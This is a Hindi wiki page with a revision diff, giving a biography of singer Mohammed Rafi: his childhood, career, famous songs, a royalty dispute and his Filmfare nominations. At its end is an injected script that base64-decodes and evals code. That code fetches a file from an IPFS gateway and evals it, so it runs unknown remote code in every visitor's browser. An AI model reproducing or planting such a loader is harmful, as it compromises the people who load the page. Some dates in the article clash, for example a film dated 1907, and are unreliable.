मुहम्मद रफ़ी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (श्रेणी:पद्मश्री (को हटा दिया गया हैं।))
m (Adding category Category:पद्म श्री (को हटा दिया गया हैं।))
Line 59: Line 59:
[[Category:संगीत कोश]]  
[[Category:संगीत कोश]]  
[[Category:कला कोश]]  
[[Category:कला कोश]]  
[[Category:जीवनी साहित्य]]  
[[Category:जीवनी साहित्य]]
[[Category:पद्म श्री]]  
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Revision as of 06:26, 20 July 2011

मुहम्मद रफ़ी (अंग्रेज़ी: Mohammed Rafi) (जन्म- 24 दिसम्बर 1924, अमृतसर ज़िला पंजाब; मृत्यु- 31 जुलाई 1980) हिन्दी सिनेमा के श्रेष्ठतम पार्श्व गायकों में से एक थे। जिन्होंने क़रीब 40 साल के फ़िल्मी गायन में 25 हज़ार से अधिक गाने रिकॉर्ड करवाए। अपनी आवाज की मधुरता और परास की अधिकता के लिए इन्होंने अपने समकालीन गायकों के बीच अलग पहचान बनाई। इन्हें 'शहंशाह-ए-तरन्नुम' भी कहा जाता था।

जन्म और परिवार

मुहम्मद रफ़ी का जन्म 24 दिसम्बर 1924 को अमृतसर ज़िला, पंजाब भारत में हुआ था। रफ़ी ने कम उम्र से ही संगीत में रूचि देखानी शुरू कर दी थी। बचपन में ही उनका परिवार गाँव से लाहौर आ गया। रफ़ी के बड़े भाई उनके लिए प्रेरणा के प्रमुख स्रोत थे। रफ़ी के बड़े भाई की अमृतसर में नाई की दुकान थी और रफ़ी का बचपन में इसी दुकान पर आकर बैठते थे। उनकी दुकान पर एक फ़कीर रोज आकर सूफी गाने सुनाता था, सात साल के रफ़ी साहब को उस फ़कीर की आवाज इतनी भाने लगी कि वे दिन भर उस फ़कीर का पीछा कर उसके गाए गीत सुना करते थे। जब फ़कीर अपना गाना बंद कर खाना खाने या आराम करने चला जाता तो रफ़ी उसकी नकल कर गाने की कोशिश किया करते थे। वे उस फ़कीर के गाए गीत उसी की आवाज़ में गाने में इतने मशगूल हो जाते थे कि उनको पता ही नहीं चलता था कि उनके आसपास लोगों की भीड़ खड़ी हो गई है। कोई जब उनकी दुकान में बाल कटाने आता तो सात साल के मुहम्मद रफ़ी से एक गाने की फरमाईश जरुर करता।

विवाह

मुहम्मद रफ़ी ने बेगम विक़लिस से शादी की थी और उनकी सात संताने हुईं जिनमें चार बेटे तथा तीन बेटियाँ हैं।

सार्वजनिक प्रदर्शन

क़रीब 15 वर्ष की उम्र में उन्हें संयोगवश सार्वजनिक प्रदर्शन का मौक़ा मिला, जो उनके जीवन में महत्त्वपूर्ण मोड़ साबित हुआ। श्रोताओं में प्रसिद्ध संगीतकार श्याम सुन्दर भी थे, जिन्होंने रफ़ी की प्रतिभा से प्रभावित होकर उन्हें फ़िल्मों में गाने के लिए बंबई (वर्तमान मुंबई) बुलाया।

पहला गीत

रफ़ी ने अपना पहला गाना पंजाबी फ़िल्म 'गुल बलोच' के लिए गाया। बंबई में उन्होंने हिंदी में शुरूआती गीत 'गाँव की गोरी' (1945), 'समाज को बदल डालो' (1947) और 'जुगनू' (1947) जैसी फ़िल्मों के लिए गाए।

पहला एकल गीत

संगीतकार नौशाद ने होनहार गायक की क्षमता को पहचाना और फ़िल्म 'अनमोल घड़ी' (1946) में रफ़ी से पहली बार एकल गाना 'तेरा खिलौना टूटा बालक' और फिर फ़िल्म 'दिल्लगी' (1949) में 'इस दुनिया में आए दिलवालों' गाना गवाया, जो बहुत सफल सिद्ध हुए।

अन्य गीत

बाद के वर्षों में रफ़ी की माँग बेहद बढ़ गई। वह तत्कालीन शीर्ष सितारों की सुनहारी आवाज़ थे। उनका महानतम गुण पर्दे पर उनके गाने पर होंठ हिलाने वाले अभिनेता के व्यक्तित्व के अनुरूप अपनी आवाज़ को ढ़ालने की क्षमता थी। इस प्रकार 'लीडर' (1964) में 'तेरे हुस्न की क्या तारीफ़ करू' गाते समय वह रूमानी दिलीप कुमार थे, 'प्यासा' (1957) में 'ये दुनिया अगर मिल भी जाए, तो क्या है' जैसे गानों में गुरुदत की आत्मा थे, फ़िल्म 'जंगली' (1961) में 'या हू' गाते हुए अदम्य शम्मी कपूर थे और यहाँ तक कि 'प्यासा' में तेल मालिश की पेशकश करने वाले शरारती जॉनी वाकर भी थे। हिन्दी फ़िल्म के प्रमुख समकालीन पार्श्व गायकों के साथ उनके युगल गीत भी उतने ही यादगार और लोकप्रिय हैं।

रफ़ी की आवाज़ में अद्भुत विस्तार था, जिसका संगीतकारों ने बख़ूबी इस्तेमाल किया। उनकी शानदार गायकी ने कई गीतों को अमर बना दिया, जिनमें विभिन्न मनोभावों और शैलियों की झलक है। उनके गीतों के ख़ज़ाने में फ़िल्म 'कोहिनूर' (1907) का 'मधुबन में राधिका नाचे रे' और 'बैज बावरा' (1952) का 'ओ दुनिया के रखवाले' जैसे शास्त्रीय गीत; फ़िल्म 'दुलारी' (1949) की 'सुहानी रात ढल चुकी' तथा 'चौदहवीं का चाँद' (1960) जैसी ग़ज़लें; 1965 की फ़िल्म 'सिकंदर-ए-आज़म' से 'जहाँ डाल-डाल पर', 'हक़ीक़त' (1964) से 'कर चले हम फ़िदा' तथा 'लीडर' (1964) से 'अपनी आजादी को हम जैसे आत्मा को झकझोरने वाले' देशभक्ति गीत; और 'तीसरी मंज़िल' (1964) का 'रॉक ऐंड रोल' से प्रभावित 'आजा-आजा मैं हूँ प्यार तेरा' जैसे हल्के-फुल्के गाने शामिल हैं। उन्होंने अंतिम गाना 1980 की फ़िल्म 'आसपास' के लिए 'तू कहीं आसपास है ऐ दोस्त' गाया था।

उदार ह्रदय

मुहम्मद रफ़ी उदार ह्रदय के व्यक्ति थे। कोई कभी उनके पास से खाली हाथ नहीं जाता था। अपने शुरुआती दिनों में संगीतकार जोड़ी लक्ष्मीकांत-प्यारेलाल के लिए उन्होंने नाममात्र का मेहनताना लिया ताकि यह जोड़ी फ़िल्मी दुनिया में जम सके। गानों की रॉयल्टी को लेकर भी उनका एक अजब और उदार रवैया था। इसको लेकर उनका लता मंगेशकर से विवाद भी हो गया था। लता मंगेशकर का कहना था कि गाना गाने के बाद भी उन गानों से होने वाली आमदनी की रायल्टी गायकों-गायिकाओं को मिलना चाहिए। मगर उसूल के पक्के रफ़ी साहब इसके एकदम  ख़िलाफ़ थे वे मानते थे कि एक बार गाने रिकॉर्ड हो गए और गायक-गायिकाओं उनका पैसा मिलते ही बात खतम हो जाती है।  इस बात को लेकर दोनों में विवाद इतना बढ़ा कि दोनों ने एक साथ गीत नहीं गाए।  बाद में नरगिस की पहल पर दोनों का विवाद सुलझा और दोनों ने एक साथ फ़िल्म 'ज्वैल थीफ' में 'दिल पुकारे' गीत गाया।

पुरस्कार

भारत सरकार ने रफ़ी को 1965 में पद्मश्री से सम्मानित किया था। रफ़ी साहब को 23 बार फ़िल्म फ़ेयर पुरस्कारों से नवाज़ा गया। रफ़ी साहब को मिले फ़िल्म फ़ेयर पुरस्कारों की सूची:-

  • 1960 - चौदहवीं का चांद हो (फ़िल्म - चौदहवीं का चांद ) - विजित
  • 1961 - हुस्नवाले तेरा जवाब नहीं (फ़िल्म - घराना)
  • 1961 - तेरी प्यारी प्यारी सूरत को (फ़िल्म - ससुराल) - विजित
  • 1962 - ऐ गुलबदन (फ़िल्म - प्रोफ़ेसर)
  • 1963 - मेरे महबूब तुझे मेरी मुहब्बत की क़सम (फ़िल्म - मेरे महबूब )
  • 1964 - चाहूंगा में तुझे (फ़िल्म - दोस्ती) - विजित
  • 1965 -छू लेने दो नाजुक होठों को (फ़िल्म - काजल)
  • 1966 - बहारों फूल बरसाओ(फ़िल्म - सूरज) - विजित
  • 1968 - मैं गाऊँ तुम सो जाओ (फ़िल्म - ब्रह्मचारी)
  • 1968 - बाबुल की दुआएँ लेती जा (फ़िल्म - नीलकमल)
  • 1968 - दिल के झरोखे में (फ़िल्म - ब्रह्मचारी) - विजित
  • 1969 - बड़ी मुश्किल है (फ़िल्म - जीने की राह)
  • 1970 - खिलौना जानकर तुम तो, मेरा दिल तोड़ जाते हो(फ़िल्म -खिलौना )
  • 1973 - हमको तो जान से प्यारी है (फ़िल्म - नैना)
  • 1974 - अच्छा ही हुआ दिल टूट गया (फ़िल्म - मां बहन और बीवी)
  • 1977 - परदा है परदा (फ़िल्म - अमर अकबर एंथनी)
  • 1977 - क्या हुआ तेरा वादा (फ़िल्म - हम किसी से कम नहीं ) -विजित
  • 1978 - आदमी मुसाफ़िर है (फ़िल्म - अपनापन)
  • 1979 - चलो रे डोली उठाओ कहार (फ़िल्म - जानी दुश्मन)
  • 1979 - मेरे दोस्त किस्सा ये (फिल्म - दोस्ताना)
  • 1980 - दर्द-ए-दिल, दर्द-ए-ज़िगर(फिल्म - कर्ज)
  • 1980 - मैने पूछा चाँद से (फ़िल्म - अब्दुल्ला)

निधन

रफ़ी साहब का निधन 31 जुलाई 1980 को हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>